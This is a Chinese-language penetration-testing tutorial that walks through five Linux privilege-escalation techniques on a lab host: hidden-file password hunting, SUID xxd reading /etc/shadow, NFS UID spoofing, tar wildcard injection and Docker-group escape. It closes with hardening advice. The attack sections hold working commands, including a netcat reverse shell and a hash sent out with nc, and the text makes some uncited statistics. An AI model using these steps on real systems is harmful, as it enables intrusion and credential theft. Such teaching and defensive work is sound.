前言

在真实的渗透测试场景中,仅仅掌握基础的Sudo滥用技术是远远不够的。本文将深入介绍五种高级Linux提权技术,包括敏感文件挖掘、SUID权限滥用、NFS配置错误利用、Tar命令注入和Docker容器逃逸。这些技术在实战中具有极高的成功率和隐蔽性。

职业提醒:网络安全行业存在诈骗风险,学生群体尤其要警惕。遇到培训或就业问题,务必通过官方渠道核实,与工作人员仔细沟通,充分了解行业真实情况。

安全警示:所有技术必须在合法授权的环境中使用。本文仅供安全研究和防御加固参考。

隐藏文件中的敏感信息发现

人性化安全漏洞

现实场景: 根据统计,约90%的员工会将密码存储在系统的某个"隐蔽"位置,认为这样更安全。这种错误的安全观念恰恰成为攻击者的突破口。

常见密码存储位置

~/.bash_history      # 命令历史
~/.mysql_history     # MySQL命令历史
~/.secret           # 自定义隐藏文件
~/.ssh/config       # SSH配置
~/.config/*         # 配置文件目录

系统化搜索策略

全局隐藏文件搜索

find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null

命令解析

/               # 从根目录开始
-name ".*"      # 文件名以点开头
-type f         # 仅查找文件(非目录)
-path "/home/*" # 限定在/home目录下
-exec ls -al {} \; # 对找到的文件执行ls -al
2>/dev/null     # 将错误重定向到黑洞

优化搜索

# 仅搜索特定用户目录
find /home/susan -name ".*" -type f 2>/dev/null

# 按修改时间排序
find /home -name ".*" -type f -mtime -30 -ls 2>/dev/null

# 搜索包含password关键词的文件
find /home -name ".*" -type f -exec grep -l "password" {} \; 2>/dev/null

实战案例

发现敏感文件

bob@linsec:~$ find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null

-rw-r--r-- 1 susan susan 220 Jan 1 2024 /home/susan/.bash_logout
-rw-r--r-- 1 susan susan 3526 Jan 1 2024 /home/susan/.bashrc
-rw-r--r-- 1 susan susan 23 Jan 15 2024 /home/susan/.secret

读取密码

bob@linsec:~$ cat /home/susan/.secret
susan:MySecretP@ss123!

横向移动

bob@linsec:~$ su susan
Password: MySecretP@ss123!

susan@linsec:~$ whoami
susan

susan@linsec:~$ id
uid=1002(susan) gid=1002(susan) groups=1002(susan),27(sudo)

安全影响

攻击者视角

发现用户密码
    ↓
切换到该用户身份
    ↓
以该用户名义执行恶意操作
    ↓
原用户承担责任(可能被辞退)

真实案例: 某员工将管理员密码保存在~/.notes文件中,攻击者获取后以该管理员身份部署勒索软件,最终导致该管理员被追责。

SUID权限滥用提权

SUID机制原理

SUID(Set User ID)

当文件具有SUID位时
    ↓
任何用户执行该文件
    ↓
以文件所有者权限运行
    ↓
通常用于passwd、sudo等工具

权限表示

-rwsr-xr-x  # s位表示SUID
-rwxr-sr-x  # SGID(组权限)
-rwxr-xr-t  # Sticky Bit

查找SUID文件

标准搜索命令

find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null

参数详解

-perm -4000   # 查找SUID权限(4000是八进制表示)
-type f       # 仅查找文件
-exec ls -al  # 显示详细信息

优化版本

# 排除/proc和/sys目录
find / -path /proc -prune -o -path /sys -prune -o -perm -4000 -type f -ls 2>/dev/null

# 仅搜索特定目录
find /usr/bin /usr/sbin /usr/local/bin -perm -4000 -type f -ls 2>/dev/null

XXD工具提权实战

发现可利用的SUID

susan@linsec:~$ find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null | grep xxd

-rwsr-xr-x 1 root root 18712 Jan 1 2024 /usr/bin/xxd

XXD工具简介

xxd: 十六进制查看/转换工具
功能: 文件 → 十六进制 → 文件
特点: 可读取任意文件

读取/etc/shadow

susan@linsec:~$ xxd /etc/shadow | xxd -r

root:$6$xyz123abc...:18000:0:99999:7:::
daemon:*:18000:0:99999:7:::
susan:$6$abc789xyz...:18500:0:99999:7:::

命令原理

xxd /etc/shadow    # 转为十六进制
|                  # 管道传递
xxd -r             # 还原为原始格式

密码破解流程

提取root哈希

# 在目标机器上
susan@linsec:~$ xxd /etc/shadow | xxd -r | grep "^root:" > /tmp/hash.txt

# 或直接复制
root:$6$rounds=5000$xyz123abc$hashhashhashhash...

传输到攻击机

# 方法1:直接复制粘贴到Kali
kali@kali:~/Desktop$ cat > pass.txt
root:$6$rounds=5000$xyz123abc$hashhashhashhash...
^D  # Ctrl+D保存

# 方法2:通过网络传输
susan@linsec:~$ cat /tmp/hash.txt | nc 192.168.1.100 9999
kali@kali:~$ nc -lvp 9999 > pass.txt

John the Ripper破解

# 解压字典(首次使用)
kali@kali:~$ cd /usr/share/wordlists
kali@kali:/usr/share/wordlists$ gunzip rockyou.txt.gz

# 开始破解
kali@kali:~$ cd ~/Desktop
kali@kali:~/Desktop$ john pass.txt --wordlist=/usr/share/wordlists/rockyou.txt

Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort
secret123        (root)
1g 0:00:00:05 DONE 0.1876g/s 2345p/s 2345c/s 2345C/s

登录root

susan@linsec:~$ su root
Password: secret123

root@linsec:~# whoami
root

root@linsec:~# id
uid=0(root) gid=0(root) groups=0(root)

其他SUID提权工具

常见可利用工具

# 查找并测试
find /usr/bin -perm -4000 -type f 2>/dev/null

# 常见的可利用工具
/usr/bin/xxd         # 已演示
/usr/bin/base64      # base64 /etc/shadow | base64 -d
/usr/bin/openssl     # openssl enc -in /etc/shadow
/usr/bin/tar         # tar -cf /dev/null /etc/shadow --checkpoint=1 --checkpoint-action=exec=/bin/sh
/usr/bin/zip         # 需要配合解压
/usr/bin/unzip       # 可以读取文件

NFS配置错误利用

NFS服务原理

Network File System

服务端共享目录
    ↓
客户端挂载
    ↓
如同本地目录访问
    ↓
用于团队协作、数据共享

安全配置

# /etc/exports - NFS配置文件
/home/shared 192.168.1.0/24(rw,sync,no_root_squash)
/data/public *(ro,sync,root_squash)

关键选项

rw               # 读写权限
ro               # 只读
no_root_squash   # root权限不压缩(危险!)
root_squash      # root映射为nobody(安全)

漏洞发现

端口扫描

kali@kali:~$ nmap -sV -p 111,2049 192.168.87.134

PORT     STATE SERVICE  VERSION
111/tcp  open  rpcbind  2-4 (RPC #100000)
2049/tcp open  nfs      3-4 (RPC #100003)

查看共享目录

kali@kali:~$ showmount -e 192.168.87.134

Export list for 192.168.87.134:
/home/peter *

配置分析

/home/peter *
            ↓
            允许所有主机访问
            可能设置了no_root_squash

攻击实施

挂载远程目录

# 1. 创建挂载点
kali@kali:~$ cd /tmp
kali@kali:/tmp$ mkdir nfs
kali@kali:/tmp$ cd nfs

# 2. 挂载NFS共享
kali@kali:/tmp/nfs$ mount -t nfs 192.168.87.134:/home/peter /tmp/nfs

# 3. 验证挂载
kali@kali:/tmp/nfs$ ls -la
total 32
drwxr-xr-x 2 1001 1005 4096 Jan 15 10:00 .
drwxrwxrwt 10 root root 4096 Jan 15 10:05 ..
-rw-r--r-- 1 1001 1005  220 Jan 1 2024 .bash_logout

UID/GID匹配

# 在靶场查看peter的UID/GID
bob@linsec:~$ cat /etc/passwd | grep peter
peter:x:1001:1005:,,,:/home/peter:/bin/bash
         ↓    ↓
        UID  GID

# 在Kali创建相同的用户
kali@kali:/tmp/nfs$ groupadd -g 1005 peter
kali@kali:/tmp/nfs$ useradd -u 1001 -g 1005 -m peter
kali@kali:/tmp/nfs$ passwd peter
New password: (任意密码)

# 验证创建
kali@kali:/tmp/nfs$ id peter
uid=1001(peter) gid=1005(peter) groups=1005(peter)

切换到伪造用户

kali@kali:/tmp/nfs$ su peter
Password:

peter@kali:/tmp/nfs$ whoami
peter

peter@kali:/tmp/nfs$ pwd
/tmp/nfs  # 等同于目标机器的/home/peter

SSH免密登录配置

生成SSH密钥

peter@kali:~$ cd ~
peter@kali:~$ ssh-keygen -t rsa -b 4096

Generating public/private rsa key pair.
Enter file in which to save the key (/home/peter/.ssh/id_rsa): [回车]
Enter passphrase (empty for no passphrase): [回车]
Enter same passphrase again: [回车]

部署公钥

# 1. 创建.ssh目录(如果不存在)
peter@kali:~$ cd /tmp/nfs
peter@kali:/tmp/nfs$ mkdir -p .ssh
peter@kali:/tmp/nfs$ chmod 700 .ssh

# 2. 复制公钥
peter@kali:/tmp/nfs$ cat ~/.ssh/id_rsa.pub > .ssh/authorized_keys
peter@kali:/tmp/nfs$ chmod 600 .ssh/authorized_keys

# 3. 验证文件
peter@kali:/tmp/nfs$ ls -la .ssh/
total 12
drwx------ 2 peter peter 4096 Jan 15 10:10 .
drwxr-xr-x 3 peter peter 4096 Jan 15 10:10 ..
-rw------- 1 peter peter  738 Jan 15 10:10 authorized_keys

免密SSH连接

peter@kali:~$ ssh -i ~/.ssh/id_rsa peter@192.168.87.134

Linux linsec 5.10.0-8-amd64 #1 SMP Debian 5.10.46-4 x86_64
Last login: Sat Jan 15 10:15:23 2024 from 192.168.87.135

peter@linsec:~$ whoami
peter

Strace提权

检查Sudo权限

peter@linsec:~$ sudo -l

User peter may run the following commands on linsec:
    (ALL) NOPASSWD: /usr/bin/strace

Strace工具

系统调用跟踪工具
功能: 监控进程的系统调用
用途: 调试、性能分析
特点: 可以执行任意命令

提权命令

peter@linsec:~$ sudo strace -o /dev/null /bin/sh

# whoami
root

# id
uid=0(root) gid=0(root) groups=0(root)

原理分析

sudo strace         # 以root权限运行strace
-o /dev/null        # 输出重定向到黑洞
/bin/sh             # 跟踪/bin/sh进程
    ↓
实际上启动了root权限的shell

Tar命令注入提权

Cron定时任务分析

查看定时任务

bob@linsec:~$ cat /etc/crontab

# m h  dom mon dow user  command
* * * * * root  /etc/cron.daily/backup

解析

* * * * *      # 每分钟执行
root           # 以root权限
/etc/cron.daily/backup  # 执行此脚本

查看备份脚本

bob@linsec:~$ cat /etc/cron.daily/backup

#!/bin/bash
for i in $(ls /home); do
    cd /home/$i && /bin/tar -zcf /etc/backups/home-$i.tgz *
done

漏洞点

/bin/tar -zcf /etc/backups/home-$i.tgz *
                                       ↑
                            通配符*会展开文件名

通配符注入原理

正常执行

cd /home/bob
tar -zcf /etc/backups/home-bob.tgz file1.txt file2.txt

恶意注入

# 创建特殊文件名
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"

# Tar命令展开后
tar -zcf backup.tgz file1.txt file2.txt --checkpoint=1 --checkpoint-action=exec=sh shell.sh
                                         ↑                ↑
                                    tar的合法参数!

攻击实施

生成Payload

kali@kali:~$ msfvenom -p cmd/unix/reverse_netcat lhost=192.168.87.135 lport=8888 R

mkfifo /tmp/azhmnx; nc 192.168.87.135 8888 0</tmp/azhmnx | /bin/sh >/tmp/azhmnx 2>&1; rm /tmp/azhmnx

创建恶意脚本

bob@linsec:~$ echo "mkfifo /tmp/azhmnx; nc 192.168.87.135 8888 0</tmp/azhmnx | /bin/sh >/tmp/azhmnx 2>&1; rm /tmp/azhmnx" > shell.sh

bob@linsec:~$ chmod +x shell.sh

创建注入文件

bob@linsec:~$ echo "" > "--checkpoint=1"
bob@linsec:~$ echo "" > "--checkpoint-action=exec=sh shell.sh"

bob@linsec:~$ ls -la
total 32
-rw-r--r-- 1 bob bob    1 Jan 15 11:00 --checkpoint=1
-rw-r--r-- 1 bob bob    1 Jan 15 11:00 --checkpoint-action=exec=sh shell.sh
-rwxr-xr-x 1 bob bob  128 Jan 15 11:00 shell.sh

监听连接

kali@kali:~$ nc -lvvp 8888

Listening on [0.0.0.0] (family 0, port 8888)
Connection from 192.168.87.134 45678 received!

# whoami
root

# id
uid=0(root) gid=0(root) groups=0(root)

Tar参数详解

Checkpoint选项

--checkpoint=N           # 每N条记录显示进度
--checkpoint-action=ACTION  # 到达checkpoint时执行动作

# 合法用途
tar -zcvf backup.tgz /home --checkpoint=1000 --checkpoint-action=echo="Processed %{read}T bytes"

# 恶意利用
--checkpoint=1 --checkpoint-action=exec=sh shell.sh

Docker容器逃逸

Docker权限模型

Docker组特权

Docker守护进程以root运行
    ↓
docker组成员可以与守护进程通信
    ↓
等同于root权限

检查Docker权限

bob@linsec:~$ groups
bob docker

bob@linsec:~$ docker --version
Docker version 20.10.12, build e91ed57

漏洞利用

挂载主机根目录

bob@linsec:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

Unable to find image 'chrisfosterelli/rootplease:latest' locally
latest: Pulling from chrisfosterelli/rootplease
...
You should now have a root shell on the host OS
# whoami
root

原理

-v /:/hostOS       # 将主机根目录挂载到容器
-i -t              # 交互式终端
chrisfosterelli/rootplease  # 包含提权脚本的镜像

手动方法

# 1. 启动特权容器
docker run -v /:/mnt -it ubuntu /bin/bash

# 2. 在容器内
root@container:/# chroot /mnt

# 3. 现在在主机的根文件系统
root@container:/# whoami
root

root@container:/# cat /etc/hostname
linsec

限制与注意事项

成功条件

1. 用户在docker组
2. Docker守护进程运行
3. 网络连接可用(下载镜像)
4. 未启用apparmor/selinux限制

网络要求

# 切换到桥接模式(如果NAT失败)
# 在虚拟机设置中修改网络适配器

防御与加固

敏感文件防护

文件权限审计

#!/bin/bash
# audit_home_files.sh

echo "=== Checking for world-readable files in /home ==="
find /home -type f -perm /o+r -ls

echo "=== Checking for hidden files with weak permissions ==="
find /home -name ".*" -type f ! -perm 600 -ls

echo "=== Checking for files containing 'password' ==="
find /home -type f -exec grep -l "password\|passwd" {} \; 2>/dev/null

定期清理

# 删除命令历史
history -c
> ~/.bash_history

# 禁用历史记录
echo "HISTFILE=/dev/null" >> ~/.bashrc

SUID审计

基线建立

# 记录正常的SUID文件
find / -perm -4000 -type f 2>/dev/null > /root/suid_baseline.txt

# 定期对比
find / -perm -4000 -type f 2>/dev/null | diff - /root/suid_baseline.txt

移除不必要的SUID

# 移除SUID位
chmod u-s /usr/bin/xxd

# 验证
ls -l /usr/bin/xxd
-rwxr-xr-x 1 root root 18712 Jan 1 2024 /usr/bin/xxd

NFS安全配置

安全的/etc/exports

# 不安全
/home/peter *(rw,no_root_squash)

# 安全
/home/peter 192.168.1.100(rw,sync,root_squash,no_subtree_check)

防火墙限制

# 仅允许特定IP访问NFS
iptables -A INPUT -p tcp --dport 2049 -s 192.168.1.100 -j ACCEPT
iptables -A INPUT -p tcp --dport 2049 -j DROP

Cron任务加固

脚本权限

# 脚本必须root所有且仅root可写
chown root:root /etc/cron.daily/backup
chmod 700 /etc/cron.daily/backup

避免通配符

# 不安全
tar -zcf backup.tgz *

# 安全
tar -zcf backup.tgz /home/bob/

Docker安全

限制Docker组

# 移除用户
gpasswd -d bob docker

# 使用sudo
echo "bob ALL=(ALL) NOPASSWD: /usr/bin/docker" >> /etc/sudoers.d/docker

启用User Namespace

// /etc/docker/daemon.json
{
  "userns-remap": "default"
}

总结

本文介绍的五种高级提权技术在实战中具有很高的成功率,其核心在于:

  1. 隐藏文件发现:利用人性弱点,90%的用户会犯此类错误
  2. SUID滥用:系统管理员常忽视的配置问题
  3. NFS利用:企业协作中的常见配置错误
  4. Tar注入:定时任务脚本的通配符漏洞
  5. Docker逃逸:容器技术带来的新型攻击面

这些技术的共同特点是利用合法功能的配置错误,而非软件漏洞,因此更难被传统安全工具检测。

持续学习方向

  • 内核漏洞利用(Dirty COW、DirtyCred)
  • Capabilities权限滥用
  • Linux命名空间逃逸
  • eBPF攻击技术

重要声明:本文内容仅供合法授权的安全测试使用。未经授权的系统入侵将承担法律责任。在实际工作中,应将这些知识用于发现和修复安全漏洞,而非恶意攻击。

更多推荐